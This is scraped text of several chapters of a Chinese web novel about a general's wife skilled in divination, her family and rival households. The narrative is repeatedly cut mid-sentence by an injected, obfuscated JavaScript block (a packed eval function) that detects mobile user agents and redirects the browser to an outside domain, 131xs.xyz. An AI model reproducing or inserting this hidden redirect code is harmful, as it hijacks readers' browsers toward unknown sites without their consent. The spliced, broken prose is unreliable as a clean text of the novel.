35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528048|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但见玉香躺在床上,人已经昏昏沉沉,迷迷糊糊。 说话也是糊里糊涂,尽说些叫人听不懂的。 那屋子也显得死气沉沉,迈入的瞬间,金猫儿就觉得一股寒意笼罩全身,只堪堪瞧了两眼,她便赶紧退了出来。 将照看玉香的婆子带去虞声笙跟前,金猫儿又将自己所见一五一十说了。 虞声笙正挑着香炉里的香饵。 闻言眼皮子都没抬一下,只平淡回道:“给她寻府医来瞧瞧吧。” “是。” 可有些病即便寻了府医也没辙。 大夫是当日中午来的,号脉时就连连摇头,最后开了点汤药,药还在炉子上煎着,玉香就咽气了。 就是这么快。 快得让人措手不及。 金猫儿越发觉得浑身****的。 虞声笙似乎并不意外这个结果,得了消息,便让人准备黄纸蜡烛等物,将玉香的丧事草草办了,入土为安。 金猫儿还是觉得不安,便问她:“夫人可是早就知晓了这个结果?” “巫祝之术可是随便玩的?”虞声笙冷笑,“有些东西不信可以,但不可随意亵玩,不然沾惹了因果报应,最终殃及的是自己;轻则大病一场,重则命归黄泉。” 虞声笙是可以花费精力气运替玉香续上这条命。 但——凭什么? 玉香又不是她的救命恩人,她犯不着。 她又缓缓道:“玉香的命留不住,那晚姨娘也难说,就看大嫂子这一胎能否安稳吧。” 这几句听着稀里糊涂的话,听得金猫儿悬着的心越发紧张。 大约有些事真的不经念叨,就在虞声笙说了这话之后没几日,郑秋娥突然早产,生下一子。 因是早产的孩子,体质孱弱。 虞声笙立马命人将府里的名贵药材都送去了虞府,还下帖请了太医过去保驾护航。 将军府的名药流水似的送进了虞府。 外头谁人不说虞府嫁出门的四姑娘孝心一片。 偶有人说了两句酸溜溜的,无非是说虞声笙胳膊肘往外拐,拿夫家的东西贴补娘家,也不怕闻将军知晓了责怪。 闻昊渊听说后,很大方地来了句:“不过是几箱笼药材我将军府还出得起,不至于到这地步,若你们觉得贵重,那是你们家男人不中用。” 不中用这三个字可太伤人心了。 瞬间说闲话的人跑得干干净净。 第169章自欺欺人 虞声笙听说后,止不住发笑。 玉香的死讯传回虞府。 张氏沉默半晌,又让荀妈妈将消息传给了戴贵两口子。 原本惶惶不安的戴贵两口子听闻这消息,痛哭不已。 不过好在他们还有儿子儿媳可以依靠,也因为玉香没了,他们不安的心总算踏实了——始作俑者已不在,依着太太的脾气多半不会再计较了,他们一家子也能安稳度日。 可惜他们丢掉了管事的位置,每个月进账少了大半。 这让原本宽裕富足的日子一下子紧巴巴起来。 老两口还没怎么说话,儿媳妇率先不满。 做饭时摔摔打打,吃饭时骂骂咧咧,就连做针线做到一半想起来,还能瞪着眼睛将男人骂了个狗血淋头,句句不离自己命苦。 这日子虽闹腾了些,倒也不是不能过。 晚姨娘听说了这事儿,惶惶不安了好几天。 直到有一日张氏让她过去一趟,她吓得面色发白,提心吊胆,战战兢兢地跪在主母跟前等候发落。 谁知张氏当着虞正德的面也给了一条红绳编织的平安扣。 说是四姑奶奶求来的,给她带着安胎保命。 晚姨娘当即泪如雨下,忙不迭地接过。 太太能当着虞正德的面给她东西,这东西必定没动任何手脚,晚姨娘心口悬着的石头总算落地了。 让晚姨娘退下后,虞正德无不感慨:“我还道你容不下她。” “咱们家子嗣不旺,说起来也是我没福气,留不住孩子……如今难得有一个怀了孕的姨娘,她本身如何我就不说了,到底肚子里怀着的是咱们虞府的骨肉,不看僧面看佛面,这道理我还能不懂?” 张氏不冷不淡地瞥了一眼,“何况你想留着,我哪里能不依着老爷的意思。” 虞正德感激不尽,对着张氏连连作揖,好话说了一箩筐。 张氏被哄得受用不尽,总算笑了。 其实晚姨娘这一胎是男是女,对张氏来说都没什么影响。 虞开嵘羽翼丰满,又是长子嫡出,且虞正德已经言明,待晚姨娘的孩子出生了,就要抱到张氏房中抚养。 庶出子女明面上的母亲有且只有一个,那就是正房太太。 一番风波暂歇,虞声笙送去的药材和太医都派上了用场。 年前,郑秋娥的身子就调养得七七八八;那早产的孩子也养得日渐白胖,众人都松了口气。 年节当下,宫中自有赏赐。 一番**行赏,威武将军府所得的又是京中各府邸中最丰厚的。 太子代天子巡视,此番功可不小,皇帝龙颜大悦。 与赏赐一并到的,还有叶贵妃的邀请。 虞声笙收拾了一番,换了外命妇的礼服便随着那小黄门进宫去了。 多时不见,叶贵妃依旧美貌。 她待虞声笙格外亲切,话里话外都透着热乎。 虞声笙好笑地看着她,不动声色。 如果没算错的话,叶贵妃与那小皇子的母子情分算是彻底断了,如今小皇子养在皇后宫中都快一年多了,陛下依旧没有下旨让小皇子回到叶贵妃的身边。 也不知她今日葫芦里卖了什么药。 一番说笑谈心后,叶贵妃长叹一声,说起了自己的烦心事。 如她所料,确实事关小皇子。 叶贵妃想要回孩子。 有个皇子在身边,哪怕皇帝素日里想不起她来,都会看在儿子的面子上常常过来探望,一来二去的,妃嫔自然有了恩宠依靠。 虞声笙淡笑:“后宫之中以中宫皇后为主为先,宫中所有的皇子公主都要尊称皇后娘娘一声母后,皇后便是所有皇子公主的嫡母;嫡母抚养孩子,天经地义,想来皇后娘娘仁善宽厚、母仪天下,有她照拂,小皇子定然能平安长大,贵妃娘娘又何必挂怀呢?” 叶贵妃轻叹:“你没有自己的孩子,自然不能体会。” “我有了自己的孩子也是一样放在身边抚养的。” 这话可把叶贵妃噎得不轻。 她满脸温柔的笑容险些没崩住。 咬咬牙,她用帕子擦了擦嘴角:“将军夫人是个明白人,那本宫就直说了,本宫听闻将军夫人娘家的事儿了,当真是稀奇古怪,天理报应;将军夫人是个有本事的,当初帮忙寻找我儿时,是否已经算到了有今日?” “正是。” 虞声笙的回答太过果断。 叶贵妃一阵错愕。 半晌,她才扯了扯嘴角:“那你为何当时不说?” “贵妃娘娘也没问呀。” 叶贵妃:…… 这下她是彻底笑不出来了,不轻不重地搁下茶盏:“将军夫人果真异于常人,那本宫命你即刻算上一卦,告知本宫何时才能迎回自己的孩子!” 虞声笙迎着她的视线:“贵妃娘娘何必自欺欺人呢,您心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531756|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里很明白的,这个孩子与你无缘了,是你亲手葬送了这段母子情分。” 叶贵妃心头猛地一颤。 虞声笙起身,走到她跟前盈盈拜倒,“多谢贵妃娘娘款待,臣妾有急事,先行告退。” “慢着,本宫让你走了么?!” “贵妃娘娘,生气不利于自己的身子,威胁这一套我更是不吃。”她柔声细语,“您若有法子将我弄死在您的宫中,也不需要这般大费周章了,虽然娘娘与这个孩子已经没了母子情分,但未必不会与后来的孩子结缘,您又何必为自己徒增业报,反倒坏了这子女缘分。” 叶贵妃一愣:“可太医说……本宫怕是难再有自己的孩子了。” “是难再有,并非绝对不能有;贵妃娘娘青春体健,为何要自暴自弃呢?” 她缓缓抬眼,“恕臣妾直言,贵妃娘娘这寝宫并不太好,过于贵气,娘娘虽尊贵,但八字还是轻了点,恐怕压不住。” 留下这话,虞声笙趁着叶贵妃愣神的功夫,径直离去。 点到为止,说太多对她也不利。 从宫门出来,迎面遇上了满脸焦急的闻昊渊。 “我听说你被贵妃召进宫了,没事吧?” “没事,吃了两盏茶,还品了些点心,都是外头吃不到的精细糕饼,果真是贵妃娘娘一应吃穿嚼用可不是咱们能比的。”她大大咧咧。 “你啊。”闻昊渊松了口气,抬手捏了她脸颊一把,“心大。” 心大的虞声笙根本没把这事放在心上。 年节将至,府中要办的事情太多了。 来往回赠的礼数要周全,还要将那些宝贝登记入库,新年将至,安园、顺园都要重新换一波摆件布置。 这是黎阳夫人说的。 说是京中高门府邸都要这样的排场和讲究。 听得虞声笙眼前一黑又一黑。 瑞王府也差人送了礼物来,虞声笙看得分明,那一箱箱的物件里至少有一半是给昀哥儿的。 她直接让人抬入昀哥儿的房中。 澜麓书院也放了假,学子们领了功课各自归家。 辉哥儿昀哥儿两人日日伴在一处读书上进,那用功的架势叫黎阳夫人见了,喜上眉梢,笑得合不拢嘴。 虞声笙在一旁瞧着,也暗暗许愿:希望日后自己的孩子也能这样主动上进。 美好的祈愿还未实现,腊月二十六这一日,府门外来了两个婆子。 第170章寻上门来 这一日本是威武将军府采买柴火的最后一日。 打一早儿起,府里后门处就一片热闹,各种驴车牛车络绎不绝。 那一辆辆的车上都是堆起高高的柴火。 自有经年的婆子管事上前检查,务必保证这些柴火都干燥实在,才能论了斤两入了府门,再依次送入柴房放好。 等那柴火进了门,另有小厮与那些平民结账算钱。 因威武将军府所采买之柴火众多,给的价钱也很丰厚,是以周围听说了消息的民众都赶着去城郊拾柴,亦或是用低价收购了农庄佃户们的稻草,再加上两三成的价格卖给将军府。 都是年节下了,谁不想自己的腰包丰厚些个呢。 婆子们身着灰蓝或是青灰的冬衣,外头罩了一件厚实的比甲袄子,通身穿得好,看得这些人一阵眼热。 那两个婆子就是从其中一辆驴车上下来的。 衣衫单薄不说,那裤子袖口处还有些许补丁。 一张方巾裹住了花白的头发,只用一根荆钗固定住,二人都是一样的打扮,还在臂弯里套了一只布袋子。 其中一人伸手在布袋子里掏了掏,终于摸出四五个铜板来交给驴车的主人。 那人拢了拢头发,笑眯眯地走到一管事婆子跟前道:“敢问这儿是威武将军府么?您是府里的管事?” “正是。”这位妈妈正忙着算斤重,闻言停下来,上下打量了一番,“你是何人?” “问这位妈妈好,还请你帮忙进府传话,我们二人是将军夫人原先在庄子上用过的老人了,我夫家姓郑,唤我一声郑妈妈便好,这位是邱妈妈。” 这郑妈妈笑容堆在了眼角的褶子里。 本该是最和气的模样,却看得人有些不舒服。 好像一张制作精良的面具罩在脸上。 那妈妈蹙眉:“你们想见我家夫人?一无拜帖,二无门户,怕是有的等了。” “还请妈妈帮忙传话,我所之言句句属实。”郑妈妈又凑近了,“我们二人可是照顾着夫人自小长到大的。” “是呀是呀。”另一寡言少语的邱妈妈也跟着附和。 见状,这妈妈只好应下,让二人先去边上歇歇,要等他们这一茬柴火入库了再说他们的事儿。 郑邱二人忙躲到一边。 贪婪的目光注视着这络绎不绝的车马,还有成捆成堆的柴火干草。 “我滴个乖乖,过一个冬天要这么多柴火么?这要是在咱们原先的庄子里,怕是能养一整个庄子的人了。” “这才哪儿到哪儿?你是没瞧见有钱人家用炭呢,那更是成筐的用!”郑妈妈就是瞧不上邱妈妈这样眼皮子浅的模样,翻了个白眼骂道,“你也把罩子放亮些个,咱们已到京城了,别还跟在乡下似的,免得叫人瞧见了笑话。” 邱妈妈讪讪一笑:“好,听你的。” 二人从正午一直等到了傍晚。 日头渐渐落了下去,一片寒意袭来。 正等得叫人坐立不安时,那妈妈进去了又出来,对着她们俩道:“跟我来吧。” 郑邱二人喜出望外,忙揣着小包袱跟着进了府。 她俩一进门,偏门自有看守的小厮关门啰嗦。 前头领路的妈妈叮嘱了几句,又问了今日轮值的人,才道:“快年节了,这门户之重不必我提醒你们,当差当好了夫人自有赏赐。” 小厮笑呵呵:“是,不劳妈妈挂心了,咱们几个都心里有数哩!我听说,前头守着的门房昨个儿不但得了好酒好菜,还有两匹好料子,是真的么?” “这算什么?”妈妈笑道,“原先替夫人管着车马出行的老洪头一家子,过了个年至少得了十两银子呢!更不要说庄子上前几日来回话的管事了,只要差事做得好,还怕赚不到钱么?” 小厮越发开心,忙不迭地应下。 本是最寻常的对话,听在郑邱二人耳中就如炭火一样滚烫。 那妈妈很快将二人安顿在一处厢房里。 这儿离安园、顺园都很远,自成一片僻静角落,前头一排都是丫鬟婆子住着的厢房,倒是这里空置的一间最大,反倒便宜了她们二人。 自有丫鬟送来了热水、蜡烛、被褥等物。 见人家要走,郑妈妈忙拽住一人问话。 那丫鬟莫名其妙:“要见夫人?这会子天都黑了,二角门都落了锁了,除非是咱们将军老爷回来,否则旁人是进不了内院的,您二位又不是夫人的娘家太太,这么晚了还想见夫人,不如早些用了茶饭安歇,待明日再说吧。” 丢下这话,丫鬟还留下了两只暖炉,头也不回地走了。 郑邱二人赶了半日的路,早起天不亮就动身了,又冒着严寒在外头等了大半天,这会子早就饿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531757|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 一开食笼,却见白花花的大米饭还冒着热气,另有一大碗堆满尖尖的卤肉,一大碗清炒的菜蔬,还有一大碗咸肉蹄子冬笋汤,尝一口,鲜到了心坎里。 二人立马开动,就着热乎乎的饭菜和肉汤,把自己的肚皮撑得滚圆。 酒足饭饱后,郑妈妈美滋滋地歪在床榻上,拿着荆钗剔牙:“瞧瞧我说什么来着,来这儿准有好日子过,在那里什么时候有过白米饭吃,能吃到糙米饭或是陈米饭就不错了!” “我都一年多没沾荤腥了,这卤肉做得果真不错,滋味真足。”邱妈妈还在回味刚刚的饭菜,尤显不够。 “咱们必须要在府里留下来,这好酒好菜好衣裳地享用着,如何不快活?到时候攒了银钱,再收几个义子义女,这后半辈子也算有了依靠了。”郑妈妈的算盘打得响,目露精光。 “可……咱们与四姑娘好些年不见了,而且那会子咱们对她也没怎么好,不是你说了,咱们还克扣了虞府给她的用度。” 邱妈妈压低声音,说得小心翼翼。 “那会子她才多大,知道什么?”郑妈妈翻了个白眼,“后来她渐渐明事了,咱们不也没怎么克扣了么?要不是咱们二人护着,她能平安长大么?做梦!别人府上一个少爷小姐的奶娘都能过得如半个主子一般,咱们二人照顾她从小到大,这份功劳谁能抵得上?” 她用气声愤愤不平道,“说句不敬的话,便是虞府太太怕也不及咱们二人待四姑娘的付出多。” “这倒也是……”邱妈妈点点头。 二人嘀嘀咕咕,说了好一会儿的话,总算睡下了。 厢房是新修缮过的,墙体厚实,足以抵御严寒;那被褥是新的,闻着还有阳光的味道,干燥又温暖,二人舒坦坏了,没一会儿便沉沉睡去。 此刻,安园。 虞声笙合上了手里的书卷,问了两句外书房的情况。 “将军还在忙,方才差了石勇过来传话,说是让夫人您累了就先睡下,不必等着。”金猫儿回道。 “都快过年了,还忙什么呢……”她呢喃两句,又问起今日寻上门来的两个婆子。 “都安顿好了。”今瑶好奇,“这两人是谁呀?怎么从前没听夫人你提起过?” 虞声笙轻笑:“两个倚老卖老的婆子罢了,从前我在庄子上时,身边的就是她们二人。” 第171章新年琐事 今瑶明白过来,大大的眼睛里流露出几分不安。 “怎么了?”虞声笙敏锐地察觉到这小丫头情绪不对。 今瑶是陪在她身边最久的丫鬟了,她自然宠她多一些,一发现对方有点小心思就绝逃不过她的眼睛。 今瑶支支吾吾:“夫人,那……那这两位妈妈岂不是夫人身边最得用的了?往后是要让她们二人进园子里伺候着么?” 虞声笙明白过来,哑然失笑。 “当初没带走的人,今日也没必要带在身边。”她平淡道,“横竖府里的事情还多着,正是缺人手的时候,等过了年就让她们在外院忙活着吧,也不必进内宅来了。” 闻言,今瑶飞快地与金猫儿对视一眼,二人都从彼此眼中看到了欣喜。 谁愿意自己头顶上多出两个资历老的妈妈呢。 何况还是照拂夫人自小到大的妈妈,这样的管事婆子一旦入了内宅,那肯定能把这一屋子的丫鬟婆子都给比下去。 闻昊渊一直忙到了除夕当天才消停。 直到皇帝陛下传旨,百官封印,年节休沐才算正式开始。 这男人似乎对还未完成的公务有些念念不忘,被虞声笙瞪了两眼,说了两句不阴不阳的话后,他嘿嘿笑了,便随手丢开。 除夕夜,一家子团年,过得清静又热闹。 因府里主子不多,要伺候的事情也少,待团圆饭散席后,阖府上下除了轮值的奴仆,一个个都安然睡下。 黎阳夫人解决了心头大事,这个年过得尤其快活,忍不住多吃了几杯,趁着酒劲儿与他们小两口说了很多掏心窝子的话,听得夫妻俩都颇为动容,对视一眼间,尽显温情脉脉。 待年初一,虞声笙一直睡到了日上三竿才醒。 在被窝里伸了个懒腰,翻了个身,只觉得昏昏沉沉还想再睡。 也亏得威武将军府如今没什么亲戚人情往来,不然作为府里的当家主母,怕是要从初一一直忙到上元节都不得消停。 也不知闻昊渊在皇帝跟前说了什么,这个年节,威武将军府免了很多府邸的拜年走动,只在年初二这一日回了一趟虞府。 虞声笙特地备了礼物,送给刚刚出生不久的小侄子。 瞧那白玉玲珑可爱,几样玩具又精致又巧妙,一看就是用心备下的,郑秋娥顿时心生感激,又让丫鬟取了点心来。 “知道你喜欢吃,特地让人做好了等你来,你尝尝看可还满意?” 虞声笙面前摆着的是一碟子牡丹卷,一碟子豆沙软馅的酥饼,另有一碟子香软的牛乳豆糕,都是郑秋娥从娘家带来的婆子做的,这一番好手艺,自从上回吃过了,她便念念不忘。 “还是嫂子疼我。”她撒娇道,连着吃了几块,只觉得浓香馥郁,甜蜜到心。 郑秋娥的月子坐得不错,整个人瞧着气色好了许多。 她拿着帕子替小姑子擦了擦嘴角,满是怜爱:“喜欢就多吃些,回头你走的时候再带上几笼,若什么时候想吃,只管差人来与嫂子说一声,嫂子让人做了新鲜热乎的,给你送到府上。” “嫂子这样偏心,回头叫大哥哥知晓了吃醋怎么好?” “你呀。” 姑嫂二人齐刷刷笑了。 在虞府拜年的这一日过得很是热闹轻松。 到了张氏的东厢房,虞声笙试探了两句有关郑邱两个婆子的事情。 张氏一头雾水:“什么婆子?当初你说不带她们,我便放了她们二人的身契,又给了一笔银钱就遣她们回乡了呀。” 张氏其人,虞声笙还是了解的。 她既然说是这样,那一准就是这样。 犯不着为了两个曾经的奴仆哄骗养女。 “是这两人有什么幺蛾子了?”张氏敏锐,一针见血。 虞声笙苦笑着说起了这两人如今就在将军府。 “你把她们俩送来我这儿,我倒要看看这两个老葫芦里卖的什么药!”张氏面色一沉,“当初放了她们身契时,我一个钱都没要,还给了她们俩一人五两银子,这才几年又寻上门来了?” “这倒是不妨事,横竖她们俩如今安分守己,到底是一手带大我的婆子,若我一直这样撵人走,传出去可不好听,不但有损将军府的名声,更不利于娘家。” 虞声笙这话说到了点子上。 张氏也明白过来。 “也是。”她点点头,“我瞧你如今也稳重了,办事颇有章法,我很放心;若有不成的,你再来与我说。” 与张氏通了气,她心里多少有了谱。 待天色将晚,启程回府,闻昊渊在马车上问起了妻子:“这几日我瞧你总有心事的样子,是有什么难处?” 她轻而缓地摇了摇头:“我一事想不明白,问问你的意思。” “你说。” “若有这么一个人,在外人看来对你恩重似海,颇有情分,但实际上这人待你不好,空有了个虚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16545309|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名,你是为了面子名声装聋作哑呢,还是挑明一切,跟对方鱼死网破?” “真要有这样的人,撇到一旁不理会就是了。”闻昊渊不假思索,“真闹起来,也不该是我先挑事,须知后发制人,也能立于不败之地。” “我怎么听说是先下手为强呢?”她眯起眼,嘻嘻一笑。 “那要看何种境地,对面何种敌手。”他认真道,“有话说得好,大丈夫能屈能伸,可也有话说,狭路相逢勇者胜,若死读书而不知变通,岂不是跟那慕淮安一样,闹得家里鸡飞狗跳?” 虞声笙愣住了。 这还是第一次,她从这男人口中听到前任未婚夫的名字。 她明澈的眼睛顿时亮了:“有什么好玩的,你说给我听听呗。” 闻昊渊正尴尬得不知所措,没想到妻子感兴趣的竟然是这个,顿时一阵哭笑不得。 经不住虞声笙缠,他只好将自己知晓的一切和盘托出。 原来,年前慕淮安两口子就大吵一架,徐诗敏甚至还闹到了西郊大营的训练场,当时老将领都在,十足让众人好好看了一场大戏。 后因闹得实在难看,便下了军令一般封口令,众人才没有乱传。 “是因为那个允娘?”虞声笙惊呆了,“是他纳的妾么?” “是,这妾室与正房奶奶一起怀孕,一前一后,你说说他府里能不闹腾么?我瞧着那妾室就不是安分的主,否则那位大奶奶也不会顾不得脸面了,对了,这慕大奶奶曾来过咱们府里求药?” 她轻轻颔首:“是有这么回事。” 她简单将事情说了一遍,“你若不提,我都快忘了这茬了。” “这就对了,慕淮安怨她不稳重,又来寻你的晦气,这才真正动了怒火。”闻昊渊紧紧盯着她,“他——心中不曾放下你。” 虞声笙觉得奇怪,瞪起眼睛:“大年节的,你能不能别说这么让人恶心的话?什么叫不曾放下我?你再浑说,今晚上就自己去书房睡。” 闻昊渊:…… 糙汉将军怎么可能愿意孤身一人睡书房? 他哪里舍得娇软香暖的妻子…… 忙搂着虞声笙一阵哄,低声下气,完全不顾面子。 同一时间,陪着徐诗敏回娘家拜年的慕淮安已然回到府中。 一进卧房,夫妻俩原先喜气洋洋的脸瞬间阴沉。 一个坐在桌案旁,一个歪在榻上,谁也不看谁,谁也不理谁。 第172章男人的谎言 盈袖见情形不对,忙不着痕迹地遣散了其他丫鬟,又提了一铫子热茶进屋。 她装作没瞧出什么端倪,口中热乎地说着话。 “前院孙婆子今日来了,她家年前添了个大胖孙子,正欢喜得跟什么样儿似的,亏她有心,还记得先前大奶奶您可怜她,给她铰了七八两的碎银子供她差遣,特地过来要跟大奶奶请安,还说什么叫自家孙子往后管大奶奶喊一声姑祖母都是够的。” “什么姑祖母?八竿子打不到一块去的,听她满口胡诌,牙都没剩几颗了,怎还这般碎嘴子?”徐诗敏被分散了注意力,懒懒地应了句。 “我也是这么说呢,左不过七八两银子,又算得上什么?”盈袖笑道,“允姨娘那屋子里光是每日烧着的银屑炭就要十两之多了,还不算上旁的。” 话音刚落,慕淮安目光沉沉地看了过来。 盈袖瞬间沉默。 徐诗敏从发髻间摘下一枚流苏步摇,冷笑道:“那些个管事婆子做的都是粗重的活计,哪里能比得上咱们这一房的姨娘?” “别说每日十两银子供着炭火了,就是摘星星摘月亮的,咱们家大公子也要替她办到才是。” 这话过于阴阳怪气了。 慕淮安开口:“你想说什么就说,没必要拐弯抹角,指桑骂槐;她屋子里的炭火不缺,难道你这儿就短了么?她用的是银屑炭,而你屋子里烧得可是紫火炭,根本不能比的。” 一听这话,徐诗敏火气直冒。 她当然知晓不能比。 可她是正房奶奶,那允姨娘算什么东西? 不过是有几分像那个女人罢了…… 这日日养尊处优的,眼睛都快长到头顶上去了,哪里还把她这个当家主母放在眼里! “大爷若是觉得亏待了她,把我屋子里的这些给她拿去好了,横竖允姨娘肚子里的孩子要紧,不像我,如灯芯一般,谁又在意呢。” 她边说边用帕子擦眼泪。 “你非要这样说就没意思了。” “那怎么样才算有意思?!” 徐诗敏暴起问道,“那一日我不过是去瞧了瞧她,念着她远道归来一路辛苦,想着替婆母看望一二,又担着姑嫂名分,这本是天经地义的,你为何当着爹娘的面给我难堪?今日回门拜年也是摆着个臭脸,慕淮安,你可要搞清楚,当初若无你待我温存体贴,我清清白白的姑娘家又怎会与你情根深种?” “这会子念及旧情了,演这一出给谁看呢?!” “你到底说的是谁?是允娘还是……”他眯起眼,冷冷看回去,“虞声笙?” “说的是谁你心里清楚。” 她梗着脖子,死活咽不下这口气,“嫁给你这些时日,不说顺心顺意了,你愿纳谁便纳谁,你瞧我多说过一个字么?便是在爹娘跟前,我也是说尽了你与那允姨娘的好话,还要怎样?” “把你那当做替身的女人供起来才好么?!” “慕淮安,她不是虞四!你别整日拿那眼神看我,却忘了当初毁了这段姻缘的人是你自己!逼急了我,大不了日子不过了,我也要闹去虞府、威武将军府,我要替自己挣个明白!” 话还没说完,她就用帕子捂着脸,哭得上气不接下气。 盈袖红了眼眶,一直在身后轻轻替自家主子按着。 屋子里一时间只有徐诗敏失控的哭声。 久坐后,慕淮安才起身走到她跟前:“别哭了。” 说罢,他抬手轻揉着妻子的肩头,“是我……想岔了,往后我身边仅有你一人,只是那允娘毕竟怀了孩子,到时候她生下孩子,这孩子也一并抱来你屋中抚养,也只有你一个娘亲。” 言下之意,允姨娘的好日子算是过到头了。 这个结果远超徐诗敏的预料。 她木木地抬眼,脸上还挂着泪痕。 他温柔抬手替妻子擦去了泪珠,又将方才的话重复了一遍,生怕她不信似的,又道:“我已经与母亲商议过,待过了年,府里有些事儿你就经手吧,总归是要交到你我手里的,提前熟悉了,也免得你往后手忙脚乱。” 徐诗敏惊喜过望:“当真?” “自然。”慕淮安淡淡道,“不信的话你明日去给母亲请安时问一问,不就全明了了?” “我信,我信的。”她又小鸟依人一般靠了过去,就靠在他的身上。 方才如炮仗一般的性子,这会也化成了绕指柔,眉眼间尽是知足与快活。 盈袖早就退到屏风后头,又悄无声息地退到屋外。 小厨房里,正看着茶炉子的小丫鬟见她来了,还很惊奇。 “盈袖姐姐怎么来了?大奶奶那边不要人伺候了么?” “大公子与大奶奶有话要说,身边有人不方便,东西都炖好了么?你们眼睛可不能离了的,可记住了?”盈袖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16545310|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打起精神来。 “姐姐放心,我们晓得的。” 望着那被炭火舔得发红的茶炉子,盈袖秀气的眉尖微蹙着。 作为一个丫鬟,她不能什么话都往外说。 但方才她明显觉得有些不对劲。 自家姑娘实在是太好哄了。 难过了这么久,憋闷了这么久,最后被男主子轻描淡写几句话就抚平一切。 盈袖是替自家姑娘感到愤愤不平。 可她能说什么,又敢说什么? 慕淮安已经让步了,桩桩件件都办到了徐诗敏的心坎上。 不但不会再宠着那妾室,就连后头的安排都做好了,还给了徐诗敏更多掌家之权。 怕是到了徐大太太跟前,也是挑不出毛病的。 盈袖叹了一声,又叹了一声。 惹得一旁的小丫鬟又多嘴问。 她瞪了一眼:“不该你问的别问,园子里的花草都侍弄了么?别说这会子冬日里躲懒,到了春上天气一暖和,叫大奶奶瞧出什么来了,别怪我没提醒你们。” 一众小丫鬟吐了吐舌尖,忙不迭地散去。 这一晚,慕淮安就歇在了徐诗敏的房中。 甜言蜜语说起来容易,听起来动心,但对女人而言却最有用,何况还是徐诗敏心爱眷恋的丈夫说出口的,她如何不欢喜? 翌日一早去了婆母跟前请安,她也成功拿到了更多的对牌钥匙与账簿,望着这些,徐诗敏又一次感受到了内宅中大权在握的开心,给慕大太太请安都比平常更有诚心。 用早饭时,徐诗敏更是亲力亲为,在一旁给婆母盛粥布菜,堪称勤劳贤惠。 慕大太太笑道:“你这孩子也忒懂事了,如今怀着身子呢,可别太累着了,坐过来与我一道吃吧。” 徐诗敏却不依:“母亲心疼儿媳,儿媳欢喜;只是若不趁着如今肚子还没起来多孝敬母亲几日,怕是接下来很长一段时日都不能在母亲跟前尽孝了;淮安他公务繁忙,这些事儿理所应当该儿媳来做的,母亲就别推辞了;真到了肚子大得动不了的时候,儿媳再歇着也不迟。” 这番话说得格外动听。 任哪个婆婆听了都要心花怒放的。 慕大太太也不例外。 是以,到了上元节这一日,镇国将军府宴请各府,当着众人的面,慕大太太将自己这位大儿媳妇夸得是天上有地下无。 第173章恭喜 一众太太奶奶们瞧着,又是说着恭维的话,又是表露艳羡。 徐诗敏更是在这许多目光中,笑得越发羞赧满足。 一时间,镇国将军府大奶奶的贤名流传,惹得娘家也跟着面上有光。 要知道徐府一门有两个闺女嫁了出去。 徐诗敏低开高走,洗刷了自己原先不堪的名声,得到了婆母亲自验证的孝顺美名;而徐心敏呢,仗着出身好、家世高、模样出挑,却给自己选了这么个夫婿。 那石芠瞧着斯文模样,却有着稻草芯子。 加上成婚当日,小夫妻就闹得很不愉快,这些时日下来,并未见二人的关系有破冰迹象。 好像徐心敏也不在意,规矩方面倒也不缺,让公婆无法开口置喙,她还多了一样事务,那就是日日督促丈夫读书上进。 